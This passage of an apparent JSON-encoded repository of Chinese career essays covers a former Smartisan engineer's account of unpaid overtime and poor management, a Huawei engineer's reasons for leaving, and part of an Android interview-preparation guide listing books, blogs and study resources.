果在有选择自由的情况下，还愿意做自己不喜欢做的事情，那肯定是有一种我认为正确的价值观或者理想之类的东西在激励我，我相信这也是很多人的情况。我在锤子科技工作的第一年，有一段时间项目特别紧，几乎每天都要工作到9 到10 点钟。我是很不喜欢加班的，工作做完都是想尽早回家做自己的事情，毕竟工作这么忙了，难得有时间干自己喜欢干的事情，说白了我理解的工作就是自己生活的保障，并没有什么特别大的野心要在并不是自己兴趣的工作上有什么作为。虽然这样，只要是觉得有必要在当天做完的工作，不管到多晚我都会做完的，当时让我有这种决心的，可能就是那种对公司的认同感。\n\n我入职的时候，面试我的软件副总裁是跟我说过公司的工作时间制度的，锤子科技是采用那种弹性工作制，虽然有一个规定的早十点到晚七点的工作时间，但是只要能保证工作做完，并不强制一定要十点到，七点走，但是如果规定时间内工作做不完，就得自觉加班。这是当时面试我的软件这一块的副总裁原话跟我说的。\n\n说实话，我当时对这种工作制度的想法是很理想化的，非常认同，并且也是这么做的。刚入职那会安排我的工作是先理解代码，看文档，刚开始的一周我基本晚上都是7 点准时走，说实话一天时间里有些代码我翻来覆去能看两三遍，基本也都能看懂，而且我也不觉得再多看一两个小时效果会好，毕竟按我学习东西的节奏我不想一天时间看太多东西。但是第二周我们20几个人的组的经理马上找我谈话了，我立刻就意识到有些事情可能并不是我想象的那样，不过他最后给出的理由我也算勉强接受了，他给的理由是要和组里的同事保持步调一致，不然可能有时候找不到你。当然在之后差不多两年的工作时间里，我慢慢对弹性工作制的认识从理想化的状态变成了公司不愿意给加班费，因为所谓的弹性工作制就是一种可以让你每天加班到10点但是不用付薪水的制度。\n\n关于工作时间，甚至做到了你没事情做也得在公司待着的地步，感觉就是如果7 点准时走会有人不爽，而这个不爽的人就是我们软件部门实际的负责人，这个人后来升到了软件副总裁的位置，在他升上去之前有些东西还处于含含糊糊的地带，等到他升上去了之后这些都变成了实质的制度。顺便一说，我在公司的两年多时间，弹性工作制从来都是从7 点往后弹的，这倒不是说我们真的有多忙，只是如果你每天的工作时间恰好只有9 个小时，那就会有人找你谈话，不管你的工作做没做完，做得好不好。\n\n当然我还是愿意相信公司的很多同事是从理想化的角度来理解弹性工作制的，包括当时面试我的前副总裁，他是一位很和蔼的中年大叔，大概好像几个月前退休了。可是为什么在我眼里公司慢慢变得不那么骄傲了呢？甚至我现在确信公司已经不再有脸面在自己内部员工面前说我们是一家天生骄傲的公司了，为什么会变呢？这可能得好好说一说我们这个组的经理，从他可能能侧面说明这个问题的原因。\n\n我们的这位经理是在原来他的经理升上去之后被提拔的，可能就是所谓的自己人吧，但是这个人到底能力怎么样，我觉得可能公司并没有明确考核过，或者甚至本身就没有考核这一步吧，毕竟我对公司管理不是很清楚。我们的软件组里其实并没有明确区分技术和管理的Leader，可以理解为我们的经理需要兼顾这两个方面的工作。\n\n我们组大概维护手机软件部分的大大小小几个模块，锤子的软件部分可以说是很出彩的，但是说我们公司软件的技术多么牛逼，我真不敢说，因为我们的工作主要在于实现产品提出的需求，所以只要能实现了产品功能和性能上的需求，并没有人在意你是怎么实现的，至少我们组完全没有所谓软件架构，如果你负责的某一个小模块需要实现一个新需求，那么从设计方案到软件架构到coding很有可能都是你一个人完成的，公司很有可能没有第二个人知道你是怎么实现的。\n\n这里说一下在我眼里我们组的经理每天的工作似乎就是满足于不挨他上级的骂，所以像整个组的bug 数量和新需求是否超期这些敏感数据是他最关心的。经常遇到的情况是，有一些bug 比较不好分析，或者需要仔细分析前因后果再做合理修改，但是他会在你分析bug 期间催你，经常用到的句式是：“某某，你那个bug 优先级比较高，快点看一下”，好像我们没有在看一样。而且有时候为了降低bug 数量，他还要经常帮我们解bug，有时候他不好意思让我们来加班，自己周六跑到公司解bug，然后我们周一来了发现他解得不对还要帮他擦屁股。倒不是说他技术有多差，只是组里那么多模块的代码他并不都熟悉。只要当天bug 数量降低了，他就满意了。不过话又说回来帮组里同事解bug 也算是他完成他技术Leader的工作吧。\n\n另外虽然他是大组经理，但是其实下面按模块还是分了几个小组的，一般小组内的工作都是我们组长分的。我们小组组长的方式我是很认同的，有的时候他并不会主动给我们分bug，我们会自己从他那里取，这种方法看似放任，但其实我们组长是基于对我们的了解以及建立在这种了解之上的信任才这么做的，这种方式和公司的弹性工作制本质上是类似的，我觉得我们小组内这样合作的方式是很合适并且效率很高的。然而我们这位经理经常越过我们组长给我们分bug，有的时候他不太了解我们组内工作的分配，这样分bug反而会给组内同事造成困扰和压力。在工作的这几年时间内，我们的经理似乎对我们完全没有什么具体的了解，只是象征性的组织过几次团建，吃过几次饭而已。\n\n我想这对他做管理方面的工作是很致命的，因为他要做的不只是每天催我们尽快解bug 而已。也有很多同事为他解释，说他是工程师出生，人又内向，所以有时候表达不到位，但是我想说的是，既然这样，他为什么能做20 几个人团队的经理？他似乎只是作为一个单向的通道存在，项目催的紧了，他就也来催我们一下。其实问题可能很简单，因为他是自己人，有的时候看到他被骂心里其实也很难受，但是这样能力的人当上经理，可能也是从侧面反映了，为什么我越来越感到公司不那么天生骄傲了。\n\n我写这些的目的是很明确的，字里行间都能看出我是带着对公司管理层的怨恨的，因为他们可能就是锤子科技变成今天这样的罪魁祸首。这里说一下我离职的原因，今年公司软件团建的时候采取了很幼稚的形式（发小学的时候用的那种大红奖状，完了竟然没有奖金）奖励了一些加班时间最多，解bug数量最多的同事，我对这样的价值取向是很不认同的，因为这对不用加班就可以把工作做完甚至做得更好的同事是不公平的。\n\n借着酒劲，我在公司群里说了很难听的话，顺便在当晚老罗和我们互动的微信群里问了过年红包还会不会发，结果是直接被退群。当然我后来很后悔，本来年后我也打算离职回老家了，还是忍一忍的好，毕竟后面经历的事情都非常荒诞。我再到公司的时候发现我的办公电脑被收走了，据说公司邮箱也被封了，据说是经理怕我再做出可怕的事情说出可怕的话。但是公司HR对我说公司的正常裁员已经结束了，也不会开我，这里我真想说难道让我把电脑搬回来继续干吗？我实在没有心力和公司耗下去，就自己提了离职。\n\n我在职期间有一次经理找我聊天问我为什么最近工作不积极对公司有什么不满，我主要对他说了两点，一是公司取消本来就屈指可数的中秋节红包福利为什么不在公司层面通知一下（我和同事等了一天发红包，虽然锤科福利不多，但是逢年过节是直接给现金红包的，每次领红包都很开心），二是公司裁员为什么采取遮遮掩掩的态度，因为即使你不说外面的人一样知道，反而如果你对内部员工都不开诚布公，却会造成我们的恐慌和懈怠。\n\n经理的答复是，这个不可能按你想象得那么理想化的，其他公司都是这样的。其实从他这番话也大概能了解为什么公司在做出这些决定的时候是这样的态度，因为公司的管理层似乎都被他这样的人占领了，他这句话在我看来好像就是锤子科技变得不再特殊的宣言吧。这里想告诉那些还想来锤子科技入职的朋友，了解一家公司不能光看公司自己的官博。\n\n其实最后我还想说一句，锤子科技没有做错任何事情，因为站在公司角度来看，简直可以用为了盈利把所有问题都说通，但是这家公司已经不能再公开宣称自己天生骄傲了。也许正是被天生骄傲的价值观吸引来的，在离开的时候看清公司的现状才不会有任何遗憾。"
  },
  {
    "path": "docs/android/Android-Interview/经验分享/我为什么要离开华为？.md",
    "content": "> 原文链接：微信公众号[小李成长笔记]\n\n到 9 月中旬，我在华为工作就满 6 年了。\n\n同事听说我要离职，都很诧异。干的好好的啊，怎么突然说要走？\n\n是啊，在现在的部门这么久了，人和事都很熟了，偶然有些小摩擦，都可以理解和接受。那为什么要走？\n\n华为的 34，胶片文化，强绩效主义，部门墙，研发的低效等等这些，大家说过很多，就不再重复了。在我看来，这些都是微不足道的外因，我完全不认同，但可以理解。\n\n真正推动我下定决心离开的还是内因：我那颗躁动不安的心。\n\n在华为 3 年后，工作真的变成了工作。我常常想不起来昨天都做了些什么，只是模糊记得接了几个电话，帮助客户解决了几个问题，接入了几个莫名其妙的会议，回复了几个邮件。就这样一周过去了，一个月过去了，一年也过去了...\n\n职级在升，工资在涨，年终奖也一年比一年多。可我却越来越心虚，越来越焦虑。\n\n有 2 个我一直在争辩。一个我：现实点，这就是份工作，出卖时间，换取工资而已。干嘛期望那么多？另一个我：还这么年轻，就认命了吗。想想这些年你都干了些啥。每天处理些 stupid 问题，一年年重复自己，你还想像这样过多少年？\n\n2 个我不停的争吵，日子在争吵中慢慢过去。\n\n我知道不能再这样下去了，我要行动起来。我要做准备，离开这个安逸，不再成长的环境。\n\n## 学习 Andoid 开发，重拾开发乐趣\n\n16 年 Android 很火。我想学 Android 开发，买了《第一行代码》，边看书边搭环境，敲代码。买 vpn，用 google 搜索问题答案。关注了张哥的公众号「stormzhang」，知道了 stackoverflow 网站，github 网站。知道了开源软件。慢慢摸索，年底时也能做个还能用的 app 了。上传到应用商店，看到后台统计数据，每天有上百人下载，也有一些用户评论说不错，很喜欢。感觉很充实，很有成就感。\n\n## 走出去，接触外面的世界\n\n在华为的日子，每天按部就班工作，大家都很勤奋，专注。只需要埋头干活就可以了。慢慢的，好像和外面的世界隔离了。\n\n当我第一次参加一个武汉产品经理交流活动，看到不大的会议室里坐满了上百名自发参加的朋友，被大家渴望知识和交流的态度感动，原来，我们身边还有这样一群人。\n\n也参加过几次程序员自发组织的编程活动，大家一起结对编程，分享各自的工作流，推荐好用的工具和软件。能感受到他们对自己工作的热爱，让我羡慕感动。大周末的，放弃陪老婆孩子的休息时间，穿越大半个城市，和一群素未谋面的伙伴编程，绝对的真爱。当然，我们也成了网上的好朋友，虽然平时不咋联系，但大家知道，我们都是一类人。\n\n## 关注互联网大 V，了解另一个世界\n\n这期间关注了好多互联网行业大v的公众号。有耿直风趣的冯大辉，温和幽默的 MacTalk，黑白灰道都熟的 Caoz，硅谷 Airbnb 美女程序员 angena，Android 开发者帅比 stormzhang...每天看他们的文章，看他们写自己的从业感悟，写互联网行业的灰与黑，写曾经的迷茫和奋斗...真实有力，催人奋发。牛人都在奋斗，我还在温室里等死。\n\n## 偶遇付费社群，见识网赚套路开眼界\n\n转眼到了 17 年，好像一夜之间，知识付费就火了起来。\n\n机缘巧合之下，加入了网友亦仁的生财有道小密圈，亲身经历了圈主 30 天收百万入圈费，见识圈主高超的运营手法，圈友大牛们分享的各种生财，吸粉套路。彻底改变了我对广告，对一些互联网业务的认知。\n\n以往的我，对各种广告很不屑，认为都是骗人的。ppt 教程，excel 教程，这么 low 的东西，我可是 it 专家，哪看的上这些...\n\n选择性无视，不看，不听，不想。\n\n现在我会去想为什么会有这个，有多大市场，针对哪些人群，它们有哪些套路，有哪些值得学习的地方？这个事情有哪些门槛，如果我去做，可以吗。\n\n脑袋瓜被慢慢的打开，不再是以前那个非黑即白，只有 0 和 1 的工科男死脑筋了。\n\n还加入了刘大猫的财富移动城堡。了解到刘大猫，是看了他写的自传文，一个从高中开始就做网站，做淘宝客，做流量变现，27 岁就积累千万财富的大牛人。听他分享各种总结，经验和看法，思路清晰，态度诚恳。不满足现状，完全放弃还很赚钱的淘宝客生意，坚决转型公司和个人发展方向。让我汗颜，想到自己畏惧风险，待在舒适圈里不愿出来，无地自容。\n\n还有好多社群，这些社群让我有了“近距离”观察和交流大牛的机会。他们就像存在你身边，就是你的一个学长或者朋友，你好像看着他们一步步成长为大牛，有时候会想，或许有一天，我也会牛起来。\n\n## 开发微信小程序，体验流量的威力\n\n网上和群友交流，不能光说不练，你总得有些拿的出手的东西。听再多的套路，经验不如亲自去实践下。\n\n趁着小程序这股东风，自学开发了一个文字转语音的小工具。从 app 名的选择，简介，到搜索关键词，app 界面，功能都做了一些思考。开发上线后，收集用户反馈，和用户交流使用场景，慢慢的每天用户竟然有近 300 了，排名也一直上升到第一名。\n\n有天看后台数据，访问量突然增加了 10 倍，当天新增用户 3.5 k。吓坏了，以为后台出统计故障了。原来是知晓程序公众号当天的文章推荐了。那天好多用户联系我，夸工具好用，确实帮他们解决了一些问题。好开心，体验了一把网红的感觉。\n\n## 以后咋发展\n\n写到这里，可能很多朋友会问，你写了这么多瞎折腾的经历，和你离职到底有啥关系呢，是要转行搞互联网产品开发吗？老实说，我也不肯定。\n\n我只知道这些经历潜移默化改变了我，让我不再封闭，不再纠结。我庆幸这些经历让现在的我经过华为近 6 年的“摧残”后，心还火热，对未来还留有希望。\n\n工作咋办呢，32 岁“高龄”了，还要去做程序员吗，还有公司要吗？没事，我觉得自己还年轻，如何做产品，还有很多可以学，我也相信，华为 6 年的经历，磨练，纠结，折腾，这些都是我未来宝贵的财富。\n\n终于，我做了选择，不再纠结，重新出发。"
  },
  {
    "path": "docs/android/Android-Interview/经验分享/扫清Android面试障碍.md",
    "content": "## [扫清Android面试障碍](http://chaojimiaomiao.github.io/2016/05/08/%E6%89%AB%E6%B8%85Android%E9%9D%A2%E8%AF%95%E9%9A%9C%E7%A2%8D.html)\n\n怎样快速突破初级瓶颈，变身高级开发？怎样在短时间内提高自我身价，月薪提高50%？你是否是个代码高手，面试中却发挥不出来，想进阶却摸不着头脑。博主在互联网行业摸爬滚打，百面成钢。特来总结与分享自己面试的心路历程和经验。\n\n本系列将分为四大部分切入，包括**第一部分面试前的准备**：从长期来看要做点什么来提高自己的身价，短期内怎样迅速进入面试状态，以及如何准备简历才能吸引HR的眼球。**第二部分是安卓初级中级高级面试题**，大概会有几十个问题，基本覆盖了小白到大牛进阶的所有会被问到的问题。**第三部分是除了安卓经验**，你还会被问到哪些问题。**第四部分是关于 offer的选择**，以及一起探讨未来的职业规划。从这四部分看来，已经涵盖了一个程序员的方方面面。我一直觉得面试也是一种考试，只要是考试就有套路，有套路就能被总结，能被总结就能被练习，就好比高考模拟卷或者培训班，能教你的也就是反复练习。 　　\n\n先交代一下背景：博主本科毕业于国内某985大学，10年大二开始接触Android开发，参加了两届谷歌举办的全国大学生安卓应用竞赛并获奖。实习和工作都在上海的互联网公司做app开发。曾误入 iOS深处，沉醉不知归路。后来惊醒还是转投回安卓的世界中去。目前工作三年。本文的目的在于总结回顾上一波的面试，给未来的自己看看当时的努力与心情，更重要的是希望对业内还在迷茫中想要提高自己的开发们指点迷津。\n\n前两个月，我面试了上海多家互联网公司，按规模上至阿里携程新美大，中至爱奇艺安居客B站平安科技，下至格瓦拉触宝科技蜻蜓fm，偏至招行信用卡微鲸科技等。并非有意要面那么多，只是一开始行动力太旺盛不小心简历投多了。秉承“自己投的简历，跪着也要面完”；以及想一窥上海互联网公司发展情况等多种心理下，横扫了各大Android面试题。经验积累了不少，从简历准备到技术准备再到扯淡环节，甚至于怎样针对不同的公司不同的面试官提出不一样的问题等等。\n\n这整个过程不是一帆风顺的，就像给程序做优化一样，一点点完善、一点点让自己的表现趋近完美。我当时甚至会在家对着镜子针对可能被问到的问题，练习说话的语速和表情。请理解一个心机 girl 总会想太多，比如有的问题面试官或许会觉得这道题是他的杀手锏，那你就不要表现出一副做了充分准备、分分钟秒杀他的气势。毕竟咱面的是普通开发，最后还得在人手底下做事呢～ 这种情况下最好的办法是面露一点点思考与回忆交加的表情，一点点说出对方希望你说出来的答案；而不是一股脑全说完了。当然了，不同的面试官有不同的套路，比如我最欣赏携程的一个初面面试官，能感觉到那是一个智商超群的人。和聪明人讲话，你就不用再拐弯抹角了。Anyway，假如这个面试官最后露出了满意的笑容，那就恭喜你成功了\n\n面试真的是个体力活，有两次我都想放弃了懒得再面了，让我继续坚持下去的除了有始有终的信念以外，还有照云兄一句“ 所谓自由就是随时拥有说’不’的权利。” 我理解就是给自己多一种选择。这一波面试下来，最遗憾的还是阿里几个想让我去的部门都在杭州，但我是上海人还要在交大在职读研。另外，上海的BAT Android岗位实在是太少了，腾讯基本就不在上海招。曾有冲动为了工作收起行囊就那么离家去杭州，但理智最终制止了我。阿里现在有点像软件界的华为，基本打来的电话都在晚上八点，有种血汗工厂的感觉。总体来说，上海的互联网公司规模都没成气候，还是中小企业居多。看了好几年上海互联网的起起落落，唯有”恨其不争“能形容这种感受了。PS：我最后选择了一份”钱多事少离家近“的工作：请不必问我现在何处，因为我一定会对公司和薪资守口如瓶。\n\n话不多扯，上文的各种体会是为了下文抛砖引玉。这个系列的文章除了全面，更重要的补全除技术以外的短板。比如，当一个面试官问你：**你的职业规划是什么**。相信每个面试者都被问过。\n\n大部分人的内心OS想必是：\nwhat，职业规划是什么？ \nwhat，这个问题究竟有什么意义？\nwhat，我该怎么回答他？\n\n如果技术面过了，栽在这种问题上岂不吃亏？相反假如你答得好，却会为你的薪资增加筹码。其实这个问题究竟该怎么回答，要具体情况具体分析。首先要看这家公司处于它这个行业的什么位置，它未来的公司战略规划是什么，它想招进来一个怎样的人，它希望你发挥的是什么作用，坐在你对面的是app leader还是CTO 抑或是HR？都会有不同的最佳回答。因为每个人想听到的是不一样的“实话”，实话打引号表示经过包装以后的答案。\n\n关键就是你得理解这话背后的意思，面试官为什么要问这个问题呢，他想知道的无非是：\n\n1. 你会在这家公司呆多久？\n2. 你未来可能处于公司什么样的角色中。\n3. 你能否适应公司现有文化？\n4. 你能为公司发挥多少价值。\n5. 面试官还有自己的小算盘。\n\n如果坐在你对面的是app leader，你说你以后想做到这里的技术leader，那你一定是撞枪口上了，除非他就是要离职前招个leader进来。请注意这种情况是很有可能发生的。大多数面试官进来不会介绍他的职位，面试level 也未必和面试顺序正相关。这就好像在一个暗箱中博弈，通过察言观色和判断得到的信息是有限的，知己知彼你才能不出错，然后才是怎样最大化说出对方想听到的接近答案。\n\n## 面试前的准备\n\n- [长期准备：](http://www.bingjie.me/2016/05/12/%E6%89%AB%E6%B8%85%E9%9D%A2%E8%AF%95%E5%89%8D%E7%9A%84%E5%87%86%E5%A4%87.html#section)\n  - [1. 订阅几个高质量的公众号](http://www.bingjie.me/2016/05/12/%E6%89%AB%E6%B8%85%E9%9D%A2%E8%AF%95%E5%89%8D%E7%9A%84%E5%87%86%E5%A4%87.html#section-1)\n  - [2. 加入一个本地android组织](http://www.bingjie.me/2016/05/12/%E6%89%AB%E6%B8%85%E9%9D%A2%E8%AF%95%E5%89%8D%E7%9A%84%E5%87%86%E5%A4%87.html#android)\n  - [3. 看几本必看的进阶书](http://www.bingjie.me/2016/05/12/%E6%89%AB%E6%B8%85%E9%9D%A2%E8%AF%95%E5%89%8D%E7%9A%84%E5%87%86%E5%A4%87.html#section-2)\n  - [4. 收藏几个博客，紧跟几个专家](http://www.bingjie.me/2016/05/12/%E6%89%AB%E6%B8%85%E9%9D%A2%E8%AF%95%E5%89%8D%E7%9A%84%E5%87%86%E5%A4%87.html#section-3)\n  - [5. 写自己的独立技术博客](http://www.bingjie.me/2016/05/12/%E6%89%AB%E6%B8%85%E9%9D%A2%E8%AF%95%E5%89%8D%E7%9A%84%E5%87%86%E5%A4%87.html#section-4)\n  - [6. 看源码](http://www.bingjie.me/2016/05/12/%E6%89%AB%E6%B8%85%E9%9D%A2%E8%AF%95%E5%89%8D%E7%9A%84%E5%87%86%E5%A4%87.html#section-5)\n  - [7. 提交自己的开源代码](http://www.bingjie.me/2016/05/12/%E6%89%AB%E6%B8%85%E9%9D%A2%E8%AF%95%E5%89%8D%E7%9A%84%E5%87%86%E5%A4%87.html#section-6)\n- [短期准备：](http://www.bingjie.me/2016/05/12/%E6%89%AB%E6%B8%85%E9%9D%A2%E8%AF%95%E5%89%8D%E7%9A%84%E5%87%86%E5%A4%87.html#section-7)\n  - [1. 去NewCoder刷题](http://www.bingjie.me/2016/05/12/%E6%89%AB%E6%B8%85%E9%9D%A2%E8%AF%95%E5%89%8D%E7%9A%84%E5%87%86%E5%A4%87.html#newcoder)\n  - [2. 去极客学院阅读几本微书](http://www.bingjie.me/2016/05/12/%E6%89%AB%E6%B8%85%E9%9D%A2%E8%AF%95%E5%89%8D%E7%9A%84%E5%87%86%E5%A4%87.html#section-8)\n  - [3. 看几篇分析源码的文章](http://www.bingjie.me/2016/05/12/%E6%89%AB%E6%B8%85%E9%9D%A2%E8%AF%95%E5%89%8D%E7%9A%84%E5%87%86%E5%A4%87.html#section-9)\n  - [4. 梳理一下知识体系，找出薄弱环节](http://www.bingjie.me/2016/05/12/%E6%89%AB%E6%B8%85%E9%9D%A2%E8%AF%95%E5%89%8D%E7%9A%84%E5%87%86%E5%A4%87.html#section-10)\n- [简历的准备：](http://www.bingjie.me/2016/05/12/%E6%89%AB%E6%B8%85%E9%9D%A2%E8%AF%95%E5%89%8D%E7%9A%84%E5%87%86%E5%A4%87.html#section-11)[有几点](http://www.bingjie.me/2016/05/12/%E6%89%AB%E6%B8%85%E9%9D%A2%E8%AF%95%E5%89%8D%E7%9A%84%E5%87%86%E5%A4%87.html#section-12)[千万别…](http://www.bingjie.me/2016/05/12/%E6%89%AB%E6%B8%85%E9%9D%A2%E8%AF%95%E5%89%8D%E7%9A%84%E5%87%86%E5%A4%87.html#section-13)\n\n有的时候我们在职场上会碰到各种各样的坑…… 不管是创业公司倒闭啦，新同事合不来啦，氛围太差受不了啦。如果说女人的安全感来自于独立，那么程序员的安全感就是手中有技术，心中有源码。想飞得更高，有哪些是你平时可以做的呢？\n\n本篇接上一篇 [扫清面试障碍](http://www.bingjie.me/2016/05/08/%E6%89%AB%E6%B8%85Android%E9%9D%A2%E8%AF%95%E9%9A%9C%E7%A2%8D.html)。上篇主要抛砖引玉，提到了许多技术和非技术相关的面试技巧等。本篇讲述面试前的准备，这不仅是技术实力的积累，还有相当一部分软实力的积累。即使是暂时没有跳槽想法的技术人，也应当生于忧患之中。行业的发展非常迅速，逆水行舟不进则退。危机意识很重要，厚积薄发才能更上一层楼。\n\n友情刺激大家： [《高二Android大牛是这样炼成的》](http://chuansong.me/n/329510551337)\n\n面试前的准备可分为长期准备，和短期准备。首先声明，文中提到的书籍以及公众号，博客等，都是我自己觉得特别优秀的，绝没收任何广告费\n\n### 长期准备：\n\n#### 1. 订阅几个高质量的公众号\n\n很多大厂都有自己的微信订阅号，很多人的阅读时间非常琐碎，那么你就可以在地铁上、在等公交车的间隙去刷刷最新技术的发展。订阅号贵精不贵多，某个订阅号里的文章一天也最多一篇，不然就容易粗制滥造。这里推荐几个高质量的android公众号： 　\n\n腾讯Bugly: weixinBugly。\n\n![image](http://chaojimiaomiao.github.io/img/bugly.jpg)\n\n是[腾讯bugly](http://www.bingjie.me/2016/05/12/bugly.qq.com)，专门做性能监控的平台，里面的文章也都是总结bugly bbs上企鹅工程师文章的精华。发送频率很低，质量都不错。后期面试中很多关于内存泄漏的答案都来自于此。\n\n移动开发前线：bornmobile。info主编徐川个人的微信公众号，里面的文章有原创也有很多精华集锦。关键是都比较严肃，不像某些个人公众号发展到后期变个人的独白段子手，干货也多，由于大都是搬很多个人博客和采访，所以质量还不错。\n\nAndroid程序员：androidtrending。公众号所有者应该是汤涛。虽然Android技术公众号不少，个人感觉这个公众号是比较能紧跟潮流的。也没有什么废话而是纯技术。\n\n程序媛：programgirl。一个程序媛发声的平台，更新不定期，`欢迎所有女程序员都来投稿，投稿地址：chaojimiaomiao@qq.com`. 比如本期android面试就会连载在里面。\n\n#### 2. 加入一个本地android组织\n\n大学时期我开始沉迷于android技术，但当时不善社交自命清高，往往是孤军奋战。回过头看，一个人的力量是有限的，只有交流才能进步，闭关锁国是没前途的。结识一批有同样追求的同行，甚至有很多比自己厉害许多的专家人才，你才能看到你未来努力的方向。人外有人，天外有天，千万别做井底之蛙。信息时代信息的交换是有价值的，小伙伴们一起努力也会将你带入一个好的氛围。\n\n但是要谨慎地选择伙伴。我知道男生聚在一起最容易犯的错误是互相影响，比如大家一起去打一盘游戏啦，各种吹牛或恭维啦，，这些都是不可取的。低调而务实的小伙伴们聚在一起才有创造力，你们共同完成一个梦想一件事。\n\n这里举个例子，https://github.com/LittleFriendsGroup/ 里的AndroidSdkSourceAnalysis。 他们发起了一个开源项目：18天认领android源码解析。这就是共同进步共同成长的典型呐~ 朋友应当是志同道合的，而非没目标的乌合之众。\n\n#### 3. 看几本必看的进阶书\n\n市面上入门书籍泛滥，而适合中高级的主流技术书实在太少。一方面是能写这种书的大牛懒得写，据我所知每卖出一本技术书，作者才拿到4块钱稿费。而中高级的受众面毕竟窄，即使热卖，卖出一万本，那么所拿稿费也不过是4万。然而有这种水平的开发者根本不缺这几万块钱。写书是一件特别耗费精力的事，除了内容还要排版，吃力不讨好。更何况还会面临盗版横行的情况，就更不值了。写书仅剩的吸引人的价值，恐怕是成书后带来的名声与成就感。由于这种客观情况的存在，市面上粗制滥造的书实在太多，我在此帮大家剔除糟粕，列举几本我觉得值得的书。\n\n**推荐书单：**\n\n**《Android开发艺术探索》任玉刚**\n\n业界良心！里面的很多东西面试都被问到了！\n\n![image](http://chaojimiaomiao.github.io/img/before_interview.jpg)\n\n**《App研发录》包建强**\n\n[App研发录](https://read.douban.com/ebook/16178944/)：架构设计、Crash分析和竞品技术分析。这是一本非常务实的书，书里提到的内容都可以直接拿来用在项目上。这个作者原先是搞.net的，工作十多年经验非常丰富。\n\n摘录一段读后感：\n\n> “落地”，是阅读此书的最大感受，大到技术架构、竞品分析、发布流程，小到每个Crash、员工座位安排、开展技术分享、简历筛选，作者总在寻求落地的解决方案，细细阅读，你不觉得这种方案有多么高大上，不觉得背后有多么华丽的理论支撑，但是你会觉得，一切都是踏踏实实、真真切切可落地实践的，为工作带来不少的实践指导。\n\n**《Android内核设计思想》**\n\n这本书写得很深，基本是这三本书里最接近底层的书了，读起来也比较晦涩。需要有一定的理解能力。\n全书从操作系统的基础知识入手，全面剖析进程/线程、内存管理、Binder机制、GUI显示系统、多媒体管理、输入系统等核心技术在Android中的实现原理。书中讲述的知识点大部分来源于工程项目研发，因而具有较强的实用性，希望可以让读者“知其然，更知其所以然”。全书分为编译篇、系统原理篇、应用原理篇、系统工具篇共4篇22章，基本涵盖了参与Android开发所需具备的知识。\n\n#### 4. 收藏几个博客，紧跟几个专家\n\n有一阵我很迷茫，不知道继续进步的方向，也不知道我能达到什么样的程度。我甚至因为找不到安卓上进步的空间而横向求索，玩了一年的iOS开发。就在这时，我的偶像来了。偶然间一次搜索，翻到了 hukai.me。（当然发现作者长得帅也是一个激动的原因）\n\n原来安卓还可以这么玩~！可以像胡凯一样紧跟谷歌的最新视频教程并翻译它们。 也可以像 [代码家](http://www.bingjie.me/2016/05/12/daimajia.com) 那样写控件造轮子。代码家甚至因为轮子造得好而被谷歌发现，发出了工作邀请。\n\n具体你可以关注哪些安卓的优秀博客可以见 [这个链接](https://github.com/chaojimiaomiao/androidBlogCN)：\n\n博客地址 \n\n- [柳志超博客](http://liuzhichao.com/)   \n- [代码家](http://blog.daimajia.com/)  \n- [胡凯](http://hukai.me/)            \n- [禅](http://www.bingjie.me/)       \n- [Trinea](http://www.trinea.cn/)   \n- [方杰](http://blog.fangjie.info/)   \n- [技术小黑屋](http://droidyue.com/)     \n- [程序亦非猿](http://yifeiyuan.me/)     \n- [脉脉不得语](http://www.inferjay.com/) \n- [陈启超的博客](http://chenqichao.me/)\n\n#### 5. 写自己的独立技术博客\n\n见贤思齐焉。\n\n有了那么几个专家榜样，我的视野突然变开阔了，也想变成像他们一样厉害的人。这个时候你已经阅读了几本书，也有了一定的积累，自然而然也会想发表自己的看法和见解。\n\n总之，克服瓶颈期的最好的办法就是六个字——总结、归纳、演绎。把你的收获都写到自己的博客上吧。最好是独立的博客，一方面你会收获到折腾独立博客的乐趣，另一方面它也是你的个人品牌，假如你能长期积累、坚持的话。独立博客唯一的缺点是导流。当然，你对自己的技术总结，目标是为了精益求精，为了自己的进步成长，至于读者多不多，倒是其次的。这个后期在面试中也大有裨益。别人刚认识你的时候对你不了解，你扔出一个博客地址，胜过你的千言万语。\n\n没事的时候就去写写博客吧，记住__不要写很多生活琐事__，而是__记录进步__。别人不是为了看你的个人秀而来到你的空间，而是搜索到你对技术新的见解，觉得对他可能会有帮助才过来的。牢骚什么的，写到你的社交网站上去。\n\n有的人很勤奋，博客天天更新。有量而没有质，感觉很空虚。我主张坚持精品博文才是正道，，毕竟信息已经那么泛滥了，不要再为互联网制造过剩的垃圾辣。。。（真的不是教你懒） 想要写一个优秀的博客，不仅要有实际的项目积累和广泛的阅读积累以外，uml类图，流程图，顺序图等，也是你必不可少的好助手。假如再加上__思维导图__，不仅使你的思路更清晰，读者也能一目了然，有一个全局观。现在就开始试试这些工具吧，会让你的博客更严谨更正式，更熠熠生辉。\n\n#### 6. 看源码\n\n这里列举几个你必须要看的源码：\n\n- Binder\n- LruCache\n- Handler\n- AsyncTask\n- EventBus\n\n不要怀疑，这些在面试中一定会被问到的。前期你看过源码也会淡忘的，先有一个大致的印象就行。\n\n#### 7. 提交自己的开源代码\n\n写什么样的开源代码，有这么几个方向。\n\n一是你博客中的例子。一个好的技术博客不仅有图有文字，假如有例子，更胜过苍白的自然语言。百闻不如一见，说得再多也不如实际一个例子。\n\n二是自定义的控件基础库。这个主要集中在酷炫的动画，还有交互更简洁的自定义控件上。这方面的大牛比如很多国外的库，还有国内代码家博客上提到的开源库~\n\n三是有关测试方面的工具。像leakCannary, blockCannary等，能让开发者更好地测试内存卡顿泄漏等。\n\n四是一些反编译的工具。\n\n五是一个完整的上架作品。\n\n### 短期准备：\n\n#### 1. 去NewCoder刷题\n\n这个网站主要包括了几套公司真题，比如有 [Android的](https://www.nowcoder.com/contestRoom?mutiTagIds=642)，[算法讲解](http://www.nowcoder.com/live/2)，[数据结构](http://www.nowcoder.com/review#3)。\n\n有时间的可以去上面刷刷题，题量较大\n\n#### 2. 去极客学院阅读几本微书\n\n没时间阅读厚重的大部头怎么办？有一些不出版的非纸质微书也是极好的选择。极客学院有[几个系列](http://wiki.jikexueyuan.com/list/android/) 写得不错，比如《深入理解 Android 卷》系列，《Java 集合学习指南》等。\n\n做工程的开发者容易陷入埋头写代码的怪圈，实际上多看一些技术书，吸收别人的思想精华进步会更快。\n\n#### 3. 看几篇分析源码的文章\n\n在长期准备中，你已经接触过一些源码了；当然你可能跳槽时间比较紧，那不如关注一下这个开源项目吧，里面包括了大量的 android源码分析。\n\nANDROID SDK 